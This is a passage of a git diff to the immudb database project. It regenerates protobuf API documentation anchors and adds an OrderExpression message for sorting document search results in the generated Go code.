[OpenSessionResponse](#immudb-model-OpenSessionResponse) - - [AuthorizationService](#immudb.model.AuthorizationService) + - [AuthorizationService](#immudb-model-AuthorizationService) -- [documents.proto](#documents.proto) - - [Collection](#immudb.model.Collection) - - [CollectionCreateRequest](#immudb.model.CollectionCreateRequest) - - [CollectionCreateResponse](#immudb.model.CollectionCreateResponse) - - [CollectionDeleteRequest](#immudb.model.CollectionDeleteRequest) - - [CollectionDeleteResponse](#immudb.model.CollectionDeleteResponse) - - [CollectionGetRequest](#immudb.model.CollectionGetRequest) - - [CollectionGetResponse](#immudb.model.CollectionGetResponse) - - [CollectionListRequest](#immudb.model.CollectionListRequest) - - [CollectionListResponse](#immudb.model.CollectionListResponse) - - [CollectionUpdateRequest](#immudb.model.CollectionUpdateRequest) - - [CollectionUpdateResponse](#immudb.model.CollectionUpdateResponse) - - [DocumentAtRevision](#immudb.model.DocumentAtRevision) - - [DocumentAuditRequest](#immudb.model.DocumentAuditRequest) - - [DocumentAuditResponse](#immudb.model.DocumentAuditResponse) - - [DocumentDeleteRequest](#immudb.model.DocumentDeleteRequest) - - [DocumentDeleteResponse](#immudb.model.DocumentDeleteResponse) - - [DocumentInsertManyRequest](#immudb.model.DocumentInsertManyRequest) - - [DocumentInsertManyResponse](#immudb.model.DocumentInsertManyResponse) - - [DocumentInsertRequest](#immudb.model.DocumentInsertRequest) - - [DocumentInsertResponse](#immudb.model.DocumentInsertResponse) - - [DocumentProofRequest](#immudb.model.DocumentProofRequest) - - [DocumentProofResponse](#immudb.model.DocumentProofResponse) - - [DocumentSearchRequest](#immudb.model.DocumentSearchRequest) - - [DocumentSearchResponse](#immudb.model.DocumentSearchResponse) - - [DocumentUpdateRequest](#immudb.model.DocumentUpdateRequest) - - [DocumentUpdateResponse](#immudb.model.DocumentUpdateResponse) - - [Field](#immudb.model.Field) - - [FieldComparison](#immudb.model.FieldComparison) - - [Index](#immudb.model.Index) - - [IndexCreateRequest](#immudb.model.IndexCreateRequest) - - [IndexCreateResponse](#immudb.model.IndexCreateResponse) - - [IndexDeleteRequest](#immudb.model.IndexDeleteRequest) - - [IndexDeleteResponse](#immudb.model.IndexDeleteResponse) - - [Query](#immudb.model.Query) - - [QueryExpression](#immudb.model.QueryExpression) +- [documents.proto](#documents-proto) + - [Collection](#immudb-model-Collection) + - [CollectionCreateRequest](#immudb-model-CollectionCreateRequest) + - [CollectionCreateResponse](#immudb-model-CollectionCreateResponse) + - [CollectionDeleteRequest](#immudb-model-CollectionDeleteRequest) + - [CollectionDeleteResponse](#immudb-model-CollectionDeleteResponse) + - [CollectionGetRequest](#immudb-model-CollectionGetRequest) + - [CollectionGetResponse](#immudb-model-CollectionGetResponse) + - [CollectionListRequest](#immudb-model-CollectionListRequest) + - [CollectionListResponse](#immudb-model-CollectionListResponse) + - [CollectionUpdateRequest](#immudb-model-CollectionUpdateRequest) + - [CollectionUpdateResponse](#immudb-model-CollectionUpdateResponse) + - [DocumentAtRevision](#immudb-model-DocumentAtRevision) + - [DocumentAuditRequest](#immudb-model-DocumentAuditRequest) + - [DocumentAuditResponse](#immudb-model-DocumentAuditResponse) + - [DocumentDeleteRequest](#immudb-model-DocumentDeleteRequest) + - [DocumentDeleteResponse](#immudb-model-DocumentDeleteResponse) + - [DocumentInsertManyRequest](#immudb-model-DocumentInsertManyRequest) + - [DocumentInsertManyResponse](#immudb-model-DocumentInsertManyResponse) + - [DocumentInsertRequest](#immudb-model-DocumentInsertRequest) + - [DocumentInsertResponse](#immudb-model-DocumentInsertResponse) + - [DocumentProofRequest](#immudb-model-DocumentProofRequest) + - [DocumentProofResponse](#immudb-model-DocumentProofResponse) + - [DocumentSearchRequest](#immudb-model-DocumentSearchRequest) + - [DocumentSearchResponse](#immudb-model-DocumentSearchResponse) + - [DocumentUpdateRequest](#immudb-model-DocumentUpdateRequest) + - [DocumentUpdateResponse](#immudb-model-DocumentUpdateResponse) + - [Field](#immudb-model-Field) + - [FieldComparison](#immudb-model-FieldComparison) + - [Index](#immudb-model-Index) + - [IndexCreateRequest](#immudb-model-IndexCreateRequest) + - [IndexCreateResponse](#immudb-model-IndexCreateResponse) + - [IndexDeleteRequest](#immudb-model-IndexDeleteRequest) + - [IndexDeleteResponse](#immudb-model-IndexDeleteResponse) + - [OrderExpression](#immudb-model-OrderExpression) + - [Query](#immudb-model-Query) + - [QueryExpression](#immudb-model-QueryExpression) - - [ComparisonOperator](#immudb.model.ComparisonOperator) - - [FieldType](#immudb.model.FieldType) + - [ComparisonOperator](#immudb-model-ComparisonOperator) + - [FieldType](#immudb-model-FieldType) - - [DocumentService](#immudb.model.DocumentService) + - [DocumentService](#immudb-model-DocumentService) - [Scalar Value Types](#scalar-value-types) - +

Top

## authorization.proto - + ### CloseSessionRequest @@ -76,7 +77,7 @@ - + ### CloseSessionResponse @@ -86,7 +87,7 @@ - + ### KeepAliveRequest @@ -96,7 +97,7 @@ - + ### KeepAliveResponse @@ -106,7 +107,7 @@ - + ### OpenSessionRequest @@ -123,7 +124,7 @@ - + ### OpenSessionResponse @@ -147,29 +148,29 @@ - + ### AuthorizationService | Method Name | Request Type | Response Type | Description | | ----------- | ------------ | ------------- | ------------| -| OpenSession | [OpenSessionRequest](#immudb.model.OpenSessionRequest) | [OpenSessionResponse](#immudb.model.OpenSessionResponse) | | -| KeepAlive | [KeepAliveRequest](#immudb.model.KeepAliveRequest) | [KeepAliveResponse](#immudb.model.KeepAliveResponse) | | -| CloseSession | [CloseSessionRequest](#immudb.model.CloseSessionRequest) | [CloseSessionResponse](#immudb.model.CloseSessionResponse) | | +| OpenSession | [OpenSessionRequest](#immudb-model-OpenSessionRequest) | [OpenSessionResponse](#immudb-model-OpenSessionResponse) | | +| KeepAlive | [KeepAliveRequest](#immudb-model-KeepAliveRequest) | [KeepAliveResponse](#immudb-model-KeepAliveResponse) | | +| CloseSession | [CloseSessionRequest](#immudb-model-CloseSessionRequest) | [CloseSessionResponse](#immudb-model-CloseSessionResponse) | | - +

Top

## documents.proto - + ### Collection @@ -179,15 +180,15 @@ | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | | idFieldName | [string](#string) | | | -| fields | [Field](#immudb.model.Field) | repeated | | -| indexes | [Index](#immudb.model.Index) | repeated | | +| fields | [Field](#immudb-model-Field) | repeated | | +| indexes | [Index](#immudb-model-Index) | repeated | | - + ### CollectionCreateRequest @@ -197,15 +198,15 @@ | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | | idFieldName | [string](#string) | | | -| fields | [Field](#immudb.model.Field) | repeated | | -| indexes | [Index](#immudb.model.Index) | repeated | | +| fields | [Field](#immudb-model-Field) | repeated | | +| indexes | [Index](#immudb-model-Index) | repeated | | - + ### CollectionCreateResponse @@ -215,7 +216,7 @@ - + ### CollectionDeleteRequest @@ -230,7 +231,7 @@ - + ### CollectionDeleteResponse @@ -240,7 +241,7 @@ - + ### CollectionGetRequest @@ -255,7 +256,7 @@ - + ### CollectionGetResponse @@ -263,14 +264,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collection | [Collection](#immudb.model.Collection) | | | +| collection | [Collection](#immudb-model-Collection) | | | - + ### CollectionListRequest @@ -280,7 +281,7 @@ - + ### CollectionListResponse @@ -288,14 +289,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collections | [Collection](#immudb.model.Collection) | repeated | | +| collections | [Collection](#immudb-model-Collection) | repeated | | - + ### CollectionUpdateRequest @@ -311,7 +312,7 @@ - + ### CollectionUpdateResponse @@ -321,7 +322,7 @@ - + ### DocumentAtRevision @@ -331,14 +332,14 @@ | ----- | ---- | ----- | ----------- | | transactionId | [uint64](#uint64) | | | | revision | [uint64](#uint64) | | | -| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | +| document | [google.protobuf.Struct](#google-protobuf-Struct) | | | - + ### DocumentAuditRequest @@ -357,7 +358,7 @@ - + ### DocumentAuditResponse @@ -365,14 +366,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| revisions | [DocumentAtRevision](#immudb.model.DocumentAtRevision) | repeated | | +| revisions | [DocumentAtRevision](#immudb-model-DocumentAtRevision) | repeated | | - + ### DocumentDeleteRequest @@ -381,14 +382,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| query | [Query](#immudb.model.Query) | | | +| query | [Query](#immudb-model-Query) | | | - + ### DocumentDeleteResponse @@ -398,7 +399,7 @@ - + ### DocumentInsertManyRequest @@ -407,14 +408,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| documents | [google.protobuf.Struct](#google.protobuf.Struct) | repeated | | +| documents | [google.protobuf.Struct](#google-protobuf-Struct) | repeated | | - + ### DocumentInsertManyResponse @@ -430,7 +431,7 @@ - + ### DocumentInsertRequest @@ -439,14 +440,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | +| document | [google.protobuf.Struct](#google-protobuf-Struct) | | | - + ### DocumentInsertResponse @@ -462,7 +463,7 @@ - + ### DocumentProofRequest @@ -480,7 +481,7 @@ - + ### DocumentProofResponse @@ -492,14 +493,14 @@ | collectionId | [uint32](#uint32) | | | | idFieldName | [string](#string) | | | | encodedDocument | [bytes](#bytes) | | | -| verifiableTx | [immudb.schema.VerifiableTxV2](#immudb.schema.VerifiableTxV2) | | | +| verifiableTx | [immudb.schema.VerifiableTxV2](#immudb-schema-VerifiableTxV2) | | | - + ### DocumentSearchRequest @@ -509,8 +510,8 @@ | ----- | ---- | ----- | ----------- | | searchID | [string](#string) | | | | collection | [string](#string) | | | -| query | [Query](#immudb.model.Query) | | | -| desc | [bool](#bool) | | | +| query | [Query](#immudb-model-Query) | | | +| orderBy | [OrderExpression](#immudb-model-OrderExpression) | | | | page | [uint32](#uint32) | | | | perPage | [uint32](#uint32) | | | @@ -519,7 +520,7 @@ - + ### DocumentSearchResponse @@ -528,14 +529,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | searchID | [string](#string) | | | -| revisions | [DocumentAtRevision](#immudb.model.DocumentAtRevision) | repeated | | +| revisions | [DocumentAtRevision](#immudb-model-DocumentAtRevision) | repeated | | - + ### DocumentUpdateRequest @@ -544,15 +545,15 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| query | [Query](#immudb.model.Query) | | | -| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | +| query | [Query](#immudb-model-Query) | | | +| document | [google.protobuf.Struct](#google-protobuf-Struct) | | | - + ### DocumentUpdateResponse @@ -569,7 +570,7 @@ - + ### Field @@ -578,14 +579,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | -| type | [FieldType](#immudb.model.FieldType) | | | +| type | [FieldType](#immudb-model-FieldType) | | | - + ### FieldComparison @@ -594,15 +595,15 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | field | [string](#string) | | | -| operator | [ComparisonOperator](#immudb.model.ComparisonOperator) | | | -| value | [google.protobuf.Value](#google.protobuf.Value) | | | +| operator | [ComparisonOperator](#immudb-model-ComparisonOperator) | | | +| value | [google.protobuf.Value](#google-protobuf-Value) | | | - + ### Index @@ -618,7 +619,7 @@ - + ### IndexCreateRequest @@ -635,7 +636,7 @@ - + ### IndexCreateResponse @@ -645,7 +646,7 @@ - + ### IndexDeleteRequest @@ -661,7 +662,7 @@ - + ### IndexDeleteResponse @@ -671,7 +672,23 @@ - + + +### OrderExpression + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| field | [string](#string) | | | +| desc | [bool](#bool) | | | + + + + + + + ### Query @@ -679,14 +696,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| expressions | [QueryExpression](#immudb.model.QueryExpression) | repeated | | +| expressions | [QueryExpression](#immudb-model-QueryExpression) | repeated | | - + ### QueryExpression @@ -694,7 +711,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| fieldComparisons | [FieldComparison](#immudb.model.FieldComparison) | repeated | | +| fieldComparisons | [FieldComparison](#immudb-model-FieldComparison) | repeated | | @@ -703,7 +720,7 @@ - + ### ComparisonOperator @@ -720,7 +737,7 @@ - + ### FieldType @@ -738,27 +755,27 @@ - + ### DocumentService | Method Name | Request Type | Response Type | Description | | ----------- | ------------ | ------------- | ------------| -| CollectionCreate | [CollectionCreateRequest](#immudb.model.CollectionCreateRequest) | [CollectionCreateResponse](#immudb.model.CollectionCreateResponse) | | -| CollectionGet | [CollectionGetRequest](#immudb.model.CollectionGetRequest) | [CollectionGetResponse](#immudb.model.CollectionGetResponse) | | -| CollectionList | [CollectionListRequest](#immudb.model.CollectionListRequest) | [CollectionListResponse](#immudb.model.CollectionListResponse) | | -| CollectionDelete | [CollectionDeleteRequest](#immudb.model.CollectionDeleteRequest) | [CollectionDeleteResponse](#immudb.model.CollectionDeleteResponse) | | -| CollectionUpdate | [CollectionUpdateRequest](#immudb.model.CollectionUpdateRequest) | [CollectionUpdateResponse](#immudb.model.CollectionUpdateResponse) | | -| IndexCreate | [IndexCreateRequest](#immudb.model.IndexCreateRequest) | [IndexCreateResponse](#immudb.model.IndexCreateResponse) | | -| IndexDelete | [IndexDeleteRequest](#immudb.model.IndexDeleteRequest) | [IndexDeleteResponse](#immudb.model.IndexDeleteResponse) | | -| DocumentInsert | [DocumentInsertRequest](#immudb.model.DocumentInsertRequest) | [DocumentInsertResponse](#immudb.model.DocumentInsertResponse) | | -| DocumentInsertMany | [DocumentInsertManyRequest](#immudb.model.DocumentInsertManyRequest) | [DocumentInsertManyResponse](#immudb.model.DocumentInsertManyResponse) | | -| DocumentUpdate | [DocumentUpdateRequest](#immudb.model.DocumentUpdateRequest) | [DocumentUpdateResponse](#immudb.model.DocumentUpdateResponse) | | -| DocumentSearch | [DocumentSearchRequest](#immudb.model.DocumentSearchRequest) | [DocumentSearchResponse](#immudb.model.DocumentSearchResponse) | | -| DocumentAudit | [DocumentAuditRequest](#immudb.model.DocumentAuditRequest) | [DocumentAuditResponse](#immudb.model.DocumentAuditResponse) | | -| DocumentProof | [DocumentProofRequest](#immudb.model.DocumentProofRequest) | [DocumentProofResponse](#immudb.model.DocumentProofResponse) | | -| DocumentDelete | [DocumentDeleteRequest](#immudb.model.DocumentDeleteRequest) | [DocumentDeleteResponse](#immudb.model.DocumentDeleteResponse) | | +| CollectionCreate | [CollectionCreateRequest](#immudb-model-CollectionCreateRequest) | [CollectionCreateResponse](#immudb-model-CollectionCreateResponse) | | +| CollectionGet | [CollectionGetRequest](#immudb-model-CollectionGetRequest) | [CollectionGetResponse](#immudb-model-CollectionGetResponse) | | +| CollectionList | [CollectionListRequest](#immudb-model-CollectionListRequest) | [CollectionListResponse](#immudb-model-CollectionListResponse) | | +| CollectionDelete | [CollectionDeleteRequest](#immudb-model-CollectionDeleteRequest) | [CollectionDeleteResponse](#immudb-model-CollectionDeleteResponse) | | +| CollectionUpdate | [CollectionUpdateRequest](#immudb-model-CollectionUpdateRequest) | [CollectionUpdateResponse](#immudb-model-CollectionUpdateResponse) | | +| IndexCreate | [IndexCreateRequest](#immudb-model-IndexCreateRequest) | [IndexCreateResponse](#immudb-model-IndexCreateResponse) | | +| IndexDelete | [IndexDeleteRequest](#immudb-model-IndexDeleteRequest) | [IndexDeleteResponse](#immudb-model-IndexDeleteResponse) | | +| DocumentInsert | [DocumentInsertRequest](#immudb-model-DocumentInsertRequest) | [DocumentInsertResponse](#immudb-model-DocumentInsertResponse) | | +| DocumentInsertMany | [DocumentInsertManyRequest](#immudb-model-DocumentInsertManyRequest) | [DocumentInsertManyResponse](#immudb-model-DocumentInsertManyResponse) | | +| DocumentUpdate | [DocumentUpdateRequest](#immudb-model-DocumentUpdateRequest) | [DocumentUpdateResponse](#immudb-model-DocumentUpdateResponse) | | +| DocumentSearch | [DocumentSearchRequest](#immudb-model-DocumentSearchRequest) | [DocumentSearchResponse](#immudb-model-DocumentSearchResponse) | | +| DocumentAudit | [DocumentAuditRequest](#immudb-model-DocumentAuditRequest) | [DocumentAuditResponse](#immudb-model-DocumentAuditResponse) | | +| DocumentProof | [DocumentProofRequest](#immudb-model-DocumentProofRequest) | [DocumentProofResponse](#immudb-model-DocumentProofResponse) | | +| DocumentDelete | [DocumentDeleteRequest](#immudb-model-DocumentDeleteRequest) | [DocumentDeleteResponse](#immudb-model-DocumentDeleteResponse) | | diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index 21e399f48e..1add33ad3e 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -15,7 +15,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.28.1 +// protoc-gen-go v1.30.0 // protoc v3.21.12 // source: documents.proto @@ -1344,12 +1344,12 @@ type DocumentSearchRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - SearchID string `protobuf:"bytes,1,opt,name=searchID,proto3" json:"searchID,omitempty"` - Collection string `protobuf:"bytes,2,opt,name=collection,proto3" json:"collection,omitempty"` - Query *Query `protobuf:"bytes,3,opt,name=query,proto3" json:"query,omitempty"` - Desc bool `protobuf:"varint,4,opt,name=desc,proto3" json:"desc,omitempty"` - Page uint32 `protobuf:"varint,5,opt,name=page,proto3" json:"page,omitempty"` - PerPage uint32 `protobuf:"varint,6,opt,name=perPage,proto3" json:"perPage,omitempty"` + SearchID string `protobuf:"bytes,1,opt,name=searchID,proto3" json:"searchID,omitempty"` + Collection string `protobuf:"bytes,2,opt,name=collection,proto3" json:"collection,omitempty"` + Query *Query `protobuf:"bytes,3,opt,name=query,proto3" json:"query,omitempty"` + OrderBy *OrderExpression `protobuf:"bytes,4,opt,name=orderBy,proto3" json:"orderBy,omitempty"` + Page uint32 `protobuf:"varint,5,opt,name=page,proto3" json:"page,omitempty"` + PerPage uint32 `protobuf:"varint,6,opt,name=perPage,proto3" json:"perPage,omitempty"` } func (x *DocumentSearchRequest) Reset() { @@ -1405,11 +1405,11 @@ func (x *DocumentSearchRequest) GetQuery() *Query { return nil } -func (x *DocumentSearchRequest) GetDesc() bool { +func (x *DocumentSearchRequest) GetOrderBy() *OrderExpression { if x != nil { - return x.Desc + return x.OrderBy } - return false + return nil } func (x *DocumentSearchRequest) GetPage() uint32 { @@ -1426,6 +1426,61 @@ func (x *DocumentSearchRequest) GetPerPage() uint32 { return 0 } +type OrderExpression struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Field string `protobuf:"bytes,1,opt,name=field,proto3" json:"field,omitempty"` + Desc bool `protobuf:"varint,2,opt,name=desc,proto3" json:"desc,omitempty"` +} + +func (x *OrderExpression) Reset() { + *x = OrderExpression{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[24] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *OrderExpression) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*OrderExpression) ProtoMessage() {} + +func (x *OrderExpression) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[24] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use OrderExpression.ProtoReflect.Descriptor instead. +func (*OrderExpression) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{24} +} + +func (x *OrderExpression) GetField() string { + if x != nil { + return x.Field + } + return "" +} + +func (x *OrderExpression) GetDesc() bool { + if x != nil { + return x.Desc + } + return false +} + type Query struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -1437,7 +1492,7 @@ type Query struct { func (x *Query) Reset() { *x = Query{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[24] + mi := &file_documents_proto_msgTypes[25] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1450,7 +1505,7 @@ func (x *Query) String() string { func (*Query) ProtoMessage() {} func (x *Query) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[24] + mi := &file_documents_proto_msgTypes[25] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1463,7 +1518,7 @@ func (x *Query) ProtoReflect() protoreflect.Message { // Deprecated: Use Query.ProtoReflect.Descriptor instead. func (*Query) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{24} + return file_documents_proto_rawDescGZIP(), []int{25} } func (x *Query) GetExpressions() []*QueryExpression { @@ -1484,7 +1539,7 @@ type QueryExpression struct { func (x *QueryExpression) Reset() { *x = QueryExpression{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[25] + mi := &file_documents_proto_msgTypes[26] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1497,7 +1552,7 @@ func (x *QueryExpression) String() string { func (*QueryExpression) ProtoMessage() {} func (x *QueryExpression) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[25] + mi := &file_documents_proto_msgTypes[26] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1510,7 +1565,7 @@ func (x *QueryExpression) ProtoReflect() protoreflect.Message { // Deprecated: Use QueryExpression.ProtoReflect.Descriptor instead. func (*QueryExpression) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{25} + return file_documents_proto_rawDescGZIP(), []int{26} } func (x *QueryExpression) GetFieldComparisons() []*FieldComparison { @@ -1533,7 +1588,7 @@ type FieldComparison struct { func (x *FieldComparison) Reset() { *x = FieldComparison{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[26] + mi := &file_documents_proto_msgTypes[27] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1546,7 +1601,7 @@ func (x *FieldComparison) String() string { func (*FieldComparison) ProtoMessage() {} func (x *FieldComparison) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[26] + mi := &file_documents_proto_msgTypes[27] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1559,7 +1614,7 @@ func (x *FieldComparison) ProtoReflect() protoreflect.Message { // Deprecated: Use FieldComparison.ProtoReflect.Descriptor instead. func (*FieldComparison) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{26} + return file_documents_proto_rawDescGZIP(), []int{27} } func (x *FieldComparison) GetField() string { @@ -1595,7 +1650,7 @@ type DocumentSearchResponse struct { func (x *DocumentSearchResponse) Reset() { *x = DocumentSearchResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[27] + mi := &file_documents_proto_msgTypes[28] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1608,7 +1663,7 @@ func (x *DocumentSearchResponse) String() string { func (*DocumentSearchResponse) ProtoMessage() {} func (x *DocumentSearchResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[27] + mi := &file_documents_proto_msgTypes[28] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1621,7 +1676,7 @@ func (x *DocumentSearchResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentSearchResponse.ProtoReflect.Descriptor instead. func (*DocumentSearchResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{27} + return file_documents_proto_rawDescGZIP(), []int{28} } func (x *DocumentSearchResponse) GetSearchID() string { @@ -1651,7 +1706,7 @@ type DocumentAtRevision struct { func (x *DocumentAtRevision) Reset() { *x = DocumentAtRevision{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[28] + mi := &file_documents_proto_msgTypes[29] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1664,7 +1719,7 @@ func (x *DocumentAtRevision) String() string { func (*DocumentAtRevision) ProtoMessage() {} func (x *DocumentAtRevision) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[28] + mi := &file_documents_proto_msgTypes[29] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1677,7 +1732,7 @@ func (x *DocumentAtRevision) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentAtRevision.ProtoReflect.Descriptor instead. func (*DocumentAtRevision) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{28} + return file_documents_proto_rawDescGZIP(), []int{29} } func (x *DocumentAtRevision) GetTransactionId() uint64 { @@ -1716,7 +1771,7 @@ type DocumentAuditRequest struct { func (x *DocumentAuditRequest) Reset() { *x = DocumentAuditRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[29] + mi := &file_documents_proto_msgTypes[30] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1729,7 +1784,7 @@ func (x *DocumentAuditRequest) String() string { func (*DocumentAuditRequest) ProtoMessage() {} func (x *DocumentAuditRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[29] + mi := &file_documents_proto_msgTypes[30] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1742,7 +1797,7 @@ func (x *DocumentAuditRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentAuditRequest.ProtoReflect.Descriptor instead. func (*DocumentAuditRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{29} + return file_documents_proto_rawDescGZIP(), []int{30} } func (x *DocumentAuditRequest) GetCollection() string { @@ -1791,7 +1846,7 @@ type DocumentAuditResponse struct { func (x *DocumentAuditResponse) Reset() { *x = DocumentAuditResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[30] + mi := &file_documents_proto_msgTypes[31] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1804,7 +1859,7 @@ func (x *DocumentAuditResponse) String() string { func (*DocumentAuditResponse) ProtoMessage() {} func (x *DocumentAuditResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[30] + mi := &file_documents_proto_msgTypes[31] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1817,7 +1872,7 @@ func (x *DocumentAuditResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentAuditResponse.ProtoReflect.Descriptor instead. func (*DocumentAuditResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{30} + return file_documents_proto_rawDescGZIP(), []int{31} } func (x *DocumentAuditResponse) GetRevisions() []*DocumentAtRevision { @@ -1841,7 +1896,7 @@ type DocumentProofRequest struct { func (x *DocumentProofRequest) Reset() { *x = DocumentProofRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[31] + mi := &file_documents_proto_msgTypes[32] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1854,7 +1909,7 @@ func (x *DocumentProofRequest) String() string { func (*DocumentProofRequest) ProtoMessage() {} func (x *DocumentProofRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[31] + mi := &file_documents_proto_msgTypes[32] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1867,7 +1922,7 @@ func (x *DocumentProofRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentProofRequest.ProtoReflect.Descriptor instead. func (*DocumentProofRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{31} + return file_documents_proto_rawDescGZIP(), []int{32} } func (x *DocumentProofRequest) GetCollection() string { @@ -1913,7 +1968,7 @@ type DocumentProofResponse struct { func (x *DocumentProofResponse) Reset() { *x = DocumentProofResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[32] + mi := &file_documents_proto_msgTypes[33] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1926,7 +1981,7 @@ func (x *DocumentProofResponse) String() string { func (*DocumentProofResponse) ProtoMessage() {} func (x *DocumentProofResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[32] + mi := &file_documents_proto_msgTypes[33] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1939,7 +1994,7 @@ func (x *DocumentProofResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use 